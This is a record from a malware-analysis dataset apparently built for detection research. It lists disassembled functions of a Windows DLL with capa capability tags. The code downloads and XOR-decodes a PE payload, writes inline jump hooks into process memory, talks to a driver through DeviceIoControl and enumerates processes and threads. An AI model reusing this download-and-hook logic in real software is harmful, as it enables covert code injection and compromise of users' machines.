joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000e7c0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
sub esp, 0x104
mov dword [0x1002e498], ecx
lea ecx, [esp]
mov dword [0x1002e560], eax
mov eax, dword [esp + 0x110]
push 0x104
push ecx
push 0
mov dword [0x1002e55c], edx
mov dword [0x1002e564], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp]
push 0x5c
push edx
call fcn.10019e20
inc eax
push 0x10001d60
push eax
call fcn.10019d40
add esp, 0x10
test eax, eax
je 0x1000e92e
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000ed40
push 0x400
push 0
call esi
mov eax, dword [0x1002e584]
test eax, eax
je 0x1000e853
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x1002e584], eax
call fcn.1000ebd0
test eax, eax
je 0x1000e922
mov eax, dword [0x1002e58c]
mov ecx, 0x1000eb20
sub ecx, eax
mov edx, 0x1000eb40
sub ecx, 5
push 5
mov dword [0x10001d51], ecx
mov ecx, dword [0x1002e574]
push 0x1002e59c
sub edx, ecx
push eax
mov eax, dword [0x1002e584]
sub edx, 5
push eax
mov byte [0x1002e49c], 0
mov dword [0x10001d59], edx
call fcn.1001a470
mov ecx, dword [0x1002e574]
mov edx, dword [0x1002e584]
push 5
push 0x1002e5a4
push ecx
push edx
call fcn.1001a470
mov eax, dword [0x1002e574]
mov ecx, dword [0x1002e584]
push 5
push 0x10001d58
push eax
push ecx
call fcn.1001a640
mov edx, dword [0x1002e58c]
mov eax, dword [0x1002e584]
push 5
push 0x10001d50
push edx
push eax
call fcn.1001a640
add esp, 0x40
push 0
push 0
push 0
push 0x1000eb60
push 0x400
push 0
call esi
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
xor eax, eax
pop esi
add esp, 0x104
ret 0xc
xor eax, eax
add esp, 0x104
ret 0xc
Function at 0x1000f900
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x108
lea edx, [esp + 4]
mov dword [0x1002ecf0], eax
push esi
push edi
mov edi, ecx
push 0x104
mov ecx, dword [esp + 0x11c]
push edx
push 0
mov dword [0x1002ecec], ecx
mov dword [0x1002e9f4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0xc]
push 0x5c
push eax
call fcn.10019e20
lea esi, [eax + 1]
push 0x1000258c
push esi
call fcn.10019d40
add esp, 0x10
test eax, eax
je 0x1000f970
push 0x1000257c
call fcn.1001a570
add esp, 4
test eax, eax
je 0x1000f970
push eax
call fcn.1001b040
push 0x1000257c
push esi
call fcn.10019d40
add esp, 8
test eax, eax
je 0x1000fa21
lea ecx, [esp + 0xc]
push ecx
call fcn.1001b1f0
mov eax, dword [0x1002ed0c]
add esp, 4
test eax, eax
je 0x1000f9ac
pop edi
mov eax, 1
pop esi
add esp, 0x108
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, edi
mov dword [0x1002ed0c], eax
call fcn.1000fd00
test eax, eax
je 0x1000fa21
mov eax, dword [0x1002ed40]
mov edx, 0x1000fca0
push 5
push 0x10002570
sub edx, eax
push eax
mov eax, dword [0x1002ed0c]
sub edx, 5
push eax
mov dword [0x10002571], edx
call fcn.1001a640
add esp, 0x10
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0x1000fcc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [0x1002ed54], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
add esp, 0x108
ret 0xc
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret 0xc
Function at 0x10016fe0
Capabilities:
Enumerate threads
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x10029de0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push ebp
push edi
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x30]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x58]
xor ebx, ebx
push eax
push 4
mov dword [esp + 0x20], ebx
mov dword [esp + 0x34], 0x1c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
cmp ebp, ebx
je 0x100171a3
lea ecx, [esp + 0x2c]
push ecx
push ebp
call sub.KERNEL32.dll_Thread32First
cmp eax, ebx
je 0x1001719c
mov edi, dword [sym.imp.USER32.dll_EnumThreadWindows]
push esi
cmp dword [0x1002f61c], ebx
jne 0x1001705e
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x3c]
cmp eax, edx
jne 0x10017188
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0x1c]
push eax
push 0x100110f0
push ecx
call edi
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x10017188
push eax
call fcn.10011190
mov esi, eax
add esp, 4
cmp esi, ebx
mov dword [esp + 0x28], esi
je 0x10017094
mov edx, dword [esi]
push esi
call dword [edx + 4]
cmp esi, ebx
mov dword [esp + 0x54], ebx
je 0x10017176
mov dword [esp + 0x14], ebx
mov eax, dword [esi]
lea ecx, [esp + 0x14]
push ecx
push esi
mov byte [esp + 0x5c], 1
call dword [eax + 0x48]
cmp eax, ebx
jl 0x10017164
mov ecx, dword [esp + 0x14]
xor eax, eax
cmp ecx, ebx
mov dword [esp + 0x18], eax
je 0x100170e1
mov edx, dword [ecx]
lea eax, [esp + 0x18]
push eax
push 0x10002750
push ecx
call dword [edx]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x10017155
mov dword [esp + 0x24], ebx
mov ecx, dword [esi]
lea edx, [esp + 0x24]
push edx
push esi
mov byte [esp + 0x5c], 3
call dword [ecx + 0x78]
mov dword [esp + 0x2c], ebx
mov eax, dword [esp + 0x14]
mov byte [esp + 0x54], 5
cmp eax, ebx
mov dword [esp + 0x20], ebx
je 0x10017121
mov ecx, dword [eax]
lea edx, [esp + 0x20]
push edx
push 0x100085a8
push eax
call dword [ecx]
mov eax, dword [esp + 0x14]
push eax
lea eax, [esp + 0x16]
push eax
call fcn.10016d20
mov eax, dword [esp + 0x28]
add esp, 8
cmp eax, ebx
mov byte [esp + 0x54], 4
je 0x10017142
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp eax, ebx
mov byte [esp + 0x54], 1
je 0x10017168
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [esp + 0x14]
cmp ecx, ebx
mov byte [esp + 0x54], bl
je 0x10017176
mov edx, dword [ecx]
push ecx
call dword [edx + 8]
cmp esi, ebx
mov dword [esp + 0x54], 0xffffffff
je 0x10017188
mov eax, dword [esi]
push esi
call dword [eax + 8]
lea ecx, [esp + 0x30]
push ecx
push ebp
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10017046
pop esi
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x48]
pop edi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x48
ret 4
Function at 0x100171e0
Capabilities:
Create thread

Disassembly:
sub esp, 0x104
mov ecx, 8
xor eax, eax
push esi
push edi
mov edi, 0x1002ed80
rep stosd dword es:[edi], eax
mov ecx, 8
mov edi, 0x1002ee00
rep stosd dword es:[edi], eax
mov eax, dword [0x1002f620]
test eax, eax
je 0x1001726e
lea eax, [esp + 8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x5c
push ecx
call fcn.10019e20
lea edx, [eax + 1]
mov edi, 0x100025e8
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 2
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0x1c]
push SysReAllocStringLen
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x100171c0
push 0x400
push 0
call esi
push 0
push 0
push 0
push 0x100171c0
push 0x400
push 0
mov dword [0x1002f5fc], eax
call esi
push 0
push 0
push 0
push 0x100171c0
push 0x400
push 0
call esi
mov edx, dword [0x1002f5fc]
push 2
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x1002f5fc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov dword [0x1002f5fc], 0
mov eax, 1
pop esi
add esp, 0x104
ret
Function at 0x10017c30
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
mov eax, 0x1118
call fcn.10023260
push ebx
push ebp
push esi
push edi
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x129]
mov byte [esp + 0x128], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
xor ebp, ebp
push ebp
push ebp
stosw word es:[edi], ax
push ebp
push 4
push 0x100038a4
mov dword [esp + 0x30], ebp
mov dword [esp + 0x2c], ebp
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebp
mov dword [esp + 0x14], esi
je 0x10017de1
mov eax, dword [esp + 0x112c]
push ebp
push 0x4000000
push ebp
push ebp
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x10017dd5
lea ecx, [esp + 0x20]
push ebp
lea edx, [esp + 0x20]
push ecx
push edx
push 0x20000013
push ebx
mov dword [esp + 0x34], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10017dbc
cmp dword [esp + 0x1c], 0xc8
jne 0x10017dbc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x128]
push eax
push 0x1000
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10017dbc
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x10017d61
lea edx, [esp + 0x24]
mov dword [esp + 0x18], 1
push edx
call fcn.1001b320
add esp, 4
test eax, eax
je 0x10017d51
lea eax, [esp + 0x24]
lea ecx, [esp + 0x158]
push eax
push ecx
call fcn.10019d40
add esp, 8
test eax, eax
jne 0x10017dbc
lea edx, [esp + 0x158]
push edx
jmp 0x10017d59
lea eax, [esp + 0x158]
push eax
call fcn.1001b2a0
add esp, 4
cmp ebp, dword [esp + 0x1134]
ja 0x10017dbc
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x10017dd5
mov edx, dword [esp + 0x1130]
mov eax, ecx
lea esi, [esp + 0x128]
lea edi, [edx + ebp]
lea edx, [esp + 0x128]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
add ebp, ecx
lea ecx, [esp + 0x10]
push ecx
push 0x1000
push edx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, dword [esp + 0x14]
test eax, eax
jne 0x10017d0d
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call edi
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1118
ret
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call edi
push esi
call edi
mov eax, dword [esp + 0x1130]
xor ecx, ecx
mov edx, 0x400
mov cx, word [eax]
mov esi, dword [eax + 0x3c]
mov dword [eax + 0x3c], ecx
add ecx, eax
mov edi, dword [ecx]
add ecx, 4
xor edi, esi
dec edx
mov dword [ecx - 4], edi
jne 0x10017dfa
mov ecx, dword [eax + 0x3c]
mov byte [eax], 0x4d
mov byte [eax + 1], 0x5a
pop edi
mov byte [ecx + eax], 0x50
mov edx, dword [eax + 0x3c]
pop esi
mov byte [edx + eax + 1], 0x45
mov eax, dword [esp + 0x1130]
mov dword [eax], ebp
pop ebp
mov eax, 1
pop ebx
add esp, 0x1118
ret
Function at 0x10017e40
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
mov eax, 0x1118
call fcn.10023260
push ebx
push ebp
push esi
push edi
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x129]
mov byte [esp + 0x128], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
xor ebp, ebp
push ebp
push ebp
stosw word es:[edi], ax
push ebp
push 4
push 0x100038a4
mov dword [esp + 0x30], ebp
mov dword [esp + 0x2c], ebp
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebp
mov dword [esp + 0x14], esi
je 0x10017ff1
mov eax, dword [esp + 0x112c]
push ebp
push 0x4000000
push ebp
push ebp
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x10017fe5
lea ecx, [esp + 0x20]
push ebp
lea edx, [esp + 0x20]
push ecx
push edx
push 0x20000013
push ebx
mov dword [esp + 0x34], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10017fcc
cmp dword [esp + 0x1c], 0xc8
jne 0x10017fcc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x128]
push eax
push 0x1000
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10017fcc
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x10017f71
lea edx, [esp + 0x24]
mov dword [esp + 0x18], 1
push edx
call fcn.1001b410
add esp, 4
test eax, eax
je 0x10017f61
lea eax, [esp + 0x24]
lea ecx, [esp + 0x158]
push eax
push ecx
call fcn.10019d40
add esp, 8
test eax, eax
jne 0x10017fcc
lea edx, [esp + 0x158]
push edx
jmp 0x10017f69
lea eax, [esp + 0x158]
push eax
call fcn.1001b390
add esp, 4
cmp ebp, dword [esp + 0x1134]
ja 0x10017fcc
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x10017fe5
mov edx, dword [esp + 0x1130]
mov eax, ecx
lea esi, [esp + 0x128]
lea edi, [edx + ebp]
lea edx, [esp + 0x128]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
add ebp, ecx
lea ecx, [esp + 0x10]
push ecx
push 0x1000
push edx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, dword [esp + 0x14]
test eax, eax
jne 0x10017f1d
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call edi
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1118
ret
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call edi
push esi
call edi
mov eax, dword [esp + 0x1130]
xor ecx, ecx
mov edx, 0x400
mov cx, word [eax]
mov esi, dword [eax + 0x3c]
mov dword [eax + 0x3c], ecx
add ecx, eax
mov edi, dword [ecx]
add ecx, 4
xor edi, esi
dec edx
mov dword [ecx - 4], edi
jne 0x1001800a
mov ecx, dword [eax + 0x3c]
mov byte [eax], 0x4d
mov byte [eax + 1], 0x5a
pop edi
mov byte [ecx + eax], 0x50
mov edx, dword [eax + 0x3c]
pop esi
mov byte [edx + eax + 1], 0x45
mov eax, dword [esp + 0x1130]
mov dword [eax], ebp
pop ebp
mov eax, 1
pop ebx
add esp, 0x1118
ret
Function at 0x100186e0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x10c
lea edx, [esp + 8]
mov dword [0x1002fe14], eax
push esi
mov esi, ecx
mov ecx, dword [esp + 0x118]
push 0x104
push edx
push 0
mov dword [0x1002fe10], ecx
mov dword [0x1002fb18], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0xc]
push 0x5c
push eax
call fcn.10019e20
inc eax
push 0x100033b4
push eax
call fcn.10019d40
add esp, 0x10
test eax, eax
je 0x100187cb
lea ecx, [esp + 0xc]
push ecx
call fcn.1001b1f0
mov eax, dword [0x1002fe30]
add esp, 4
test eax, eax
je 0x1001875f
mov eax, 1
pop esi
add esp, 0x10c
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
push 0
push 0x100189c0
push 0x400
push 0
mov dword [0x1002fe30], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, esi
call fcn.10018920
test eax, eax
je 0x100187cb
mov eax, dword [0x1002fe64]
mov edx, 0x10018900
sub edx, eax
lea ecx, [esp + 4]
sub edx, 5
push 5
mov dword [esp + 9], edx
mov edx, dword [0x1002fe30]
push ecx
push eax
push edx
mov byte [esp + 0x14], 0xe9
call fcn.1001a640
add esp, 0x10
mov eax, 1
pop esi
add esp, 0x10c
ret 0xc
xor eax, eax
pop esi
add esp, 0x10c
ret 0xc
Function at 0x10019ce0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [esp + 4]
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret

Function at 0x1001a010
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
mov eax, 0x1048
call fcn.10023260
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x58]
mov dword [esp + 0x54], ebx
push 0x10004b3c
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push 0x10004c10
push eax
mov dword [esp + 0x1c], ebx
call fcn.10022cae
add esp, 0xc
lea ecx, [esp + 0x14]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, dword [esp + 0x105c]
cmp eax, 0xffffffff
jne 0x1001a07a
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1001a0e0
lea edx, [esp + 0x10]
test edx, edx
je 0x1001a086
mov ebx, eax
jmp 0x1001a08d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x58]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x54], 1
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x58]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
push 0x1004
push edx
push 0x22000f
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [esp + 0x10], 4
push 0
push 0
push 0
push 0
push 0x10004bf4
call ebx
mov esi, eax
test esi, esi
je 0x1001a123
push 0
push 0x84000000
push 0
push 0
push ebp
push esi
call edi
test eax, eax
jne 0x1001a13f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov ecx, eax
dec eax
test ecx, ecx
mov dword [esp + 0x10], eax
jne 0x1001a0f4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1048
ret
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call edi
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1048
ret
Function at 0x1001a160
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
mov eax, 0x218c
call fcn.10023260
push ebx
push ebp
push esi
push edi
mov ecx, 6
mov esi, 0x10004bf4
lea edi, [esp + 0x54]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x3a
lea edi, [esp + 0x6d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor ebx, ebx
mov ecx, 0x207
xor eax, eax
lea edi, [esp + 0x97a]
mov word [esp + 0x978], bx
mov word [esp + 0x158], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x207
xor eax, eax
lea edi, [esp + 0x15a]
mov dword [esp + 0x1198], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x119c]
push 0x10004b3c
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push 0x10004c10
push eax
mov dword [esp + 0x1c], ebx
call fcn.10022cae
add esp, 0xc
lea ecx, [esp + 0x14]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, dword [esp + 0x21a0]
cmp eax, 0xffffffff
jne 0x1001a225
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1001a296
lea edx, [esp + 0x10]
test edx, edx
je 0x1001a231
mov ebx, eax
jmp 0x1001a238
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x119c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x1198], 1
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x119c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
push 0x1004
push edx
push 0x22000f
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [esp + 0x978]
push 0x208
push eax
lea ecx, [esp + 0x5c]
push 0xffffffffffffffff
push ecx
push ebx
push ebx
call esi
lea edx, [esp + 0x158]
push 0x208
push edx
push 0xffffffffffffffff
push ebp
push 0
push 0
call esi
mov ebp, dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, 9
push 0
push 0
push 0
lea eax, [esp + 0x984]
push 0
push eax
call ebp
mov esi, eax
test esi, esi
je 0x1001a30d
push 0
push 0x4000000
push 0
lea ecx, [esp + 0x164]
push 0
push ecx
push esi
call edi
test eax, eax
jne 0x1001a321
mov edx, ebx
dec ebx
test edx, edx
jne 0x1001a2db
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x218c
ret
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call edi
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x218c
ret
Function at 0x1001a340
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x1004
call fcn.10023260
push ebx
push esi
mov esi, dword [esp + 0x1014]
push edi
mov edi, dword [esp + 0x1014]
push 0
lea eax, [esp + 0x14]
push 0x1000
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea ecx, [esp + 0xc]
push ecx
push 0x40
push 0x1000
push esi
push edi
call ebx
test eax, eax
je 0x1001a3b6
mov edx, dword [esp + 0x1020]
mov eax, dword [esp + 0x101c]
push 0
push edx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0xc]
push ecx
push edx
push 0x1000
push esi
push edi
call ebx
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1004
ret

Function at 0x1001a4c0
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ebp, dword [sym.imp.WININET.dll_InternetOpenUrlA]
push esi
push edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 9
push 0
push 0
push 0
push 0
push 0x10004bf4
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x1001a50f
push 0
push 0x4000000
push 0
push 0
push ebx
push edi
call ebp
mov esi, eax
test esi, esi
jne 0x1001a52a
mov eax, dword [esp + 0x10]
mov ecx, eax
dec eax
test ecx, ecx
mov dword [esp + 0x10], eax
jne 0x1001a4e1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 0xc
mov ecx, dword [esp + 0x20]
test ecx, ecx
je 0x1001a548
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1001a548
lea edx, [esp + 0x14]
push edx
push eax
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret 0xc
Function at 0x1001a570
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebp
push ebp
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push ebx
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov cl, byte [edi]
xor eax, eax
test cl, cl
je 0x1001a5c2
mov cl, byte [eax + edi + 1]
inc eax
test cl, cl
jne 0x1001a5b9
mov cl, byte [esp + 0x34]
xor esi, esi
test cl, cl
je 0x1001a5d5
mov cl, byte [esp + esi + 0x35]
inc esi
test cl, cl
jne 0x1001a5cc
cmp eax, esi
jne 0x1001a608
xor edx, edx
test esi, esi
jle 0x1001a619
mov al, byte [edx + edi]
mov cl, byte [esp + edx + 0x34]
cmp al, 0x61
jl 0x1001a5f0
cmp al, 0x7a
jg 0x1001a5f0
add al, 0xe0
cmp cl, 0x61
jl 0x1001a5fd
cmp cl, 0x7a
jg 0x1001a5fd
add cl, 0xe0
cmp al, cl
jne 0x1001a608
inc edx
cmp edx, esi
jge 0x1001a619
jmp 0x1001a5df
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1001a61d
jmp 0x1001a5b1
mov ebp, dword [esp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret